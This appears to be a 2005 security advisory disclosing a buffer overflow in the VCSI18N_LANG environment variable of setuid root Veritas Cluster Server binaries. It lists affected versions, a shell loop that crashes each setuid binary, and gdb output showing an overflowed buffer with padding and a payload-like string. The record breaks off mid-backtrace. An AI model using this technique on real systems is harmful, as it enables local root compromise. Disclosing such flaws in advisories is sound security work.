Author: Kevin Finisterre Vendor: http://www.Veritas.com Product: 'Veritas Cluster Server for UNIX' References: http://www.digitalmunition.com/DMA[2005-1112a].txt http://www.symantec.com/avcenter/security/Content/2005.11.08a.html Description: Veritas Cluster Server is the industry's leading open systems clustering solution. It is ideal for reducing planned and unplanned downtime, facilitating server consolidation, and effectively managing a wide range of applications in heterogeneous environments. With support for up to 32 node clusters, Veritas Cluster Server features the power and flexibility to protect everything from a single critical database instance, to the largest, globally dispersed, multi-application clusters. A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used by a number of setuid root applications in Storage Foundation. The following matrix of vulnerable products has been identified by Smantec VCS Solaris AIX HP-UX RedHat Linux SuSE Linux ESX 3.5 3.5P5+ 3.5P2+ 3.5Update3+ 2.2MP2+ 2.2MP2 2.2MP2 4.0 4.0MP2+ 4.0MP2+ N/A 4.0MP2+ N/A N/A The below information was tested on VERITAS Storage Foundation 4.0 for Red Hat Enterprise Linux which includes the Veritas Cluster Server. Exploitation of this issue is quite trivial in nature. kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000` >> do >> echo $each >> $each a >> done ./haagent Segmentation fault ./haalert Segmentation fault ./haattr Segmentation fault ./hacli Segmentation fault ./hacli_runcmd ./haclus Segmentation fault ./haconf Segmentation fault ./hadebug Segmentation fault ./hagrp Segmentation fault ./hahb Segmentation fault ./halog Segmentation fault ./hareg Segmentation fault ./hares Segmentation fault ./hastatus Segmentation fault ./hasys Segmentation fault ./hatype Segmentation fault ./hauser Segmentation fault ./tststew Segmentation fault kfinisterre01:/opt/VRTSvcs/bin# gdb ./hahb (gdb) r Starting program: /opt/VRTSvcs/bin/hahb [Thread debugging using libthread_db enabled] [New Thread -1211486080 (LWP 26902)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211486080 (LWP 26902)] 0xb7ccea00 in getenv () from /lib/tls/libc.so.6 (gdb) bt #0 0xb7ccea00 in getenv () from /lib/tls/libc.so.6 #1 0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6 #2 0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6 #3 0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0 #4 0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6 #5 0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6 #6 0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6 #7 0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48 times>, "`b2||FR-SIRT||SUCKS||03&#191;AAAA&#208;203nb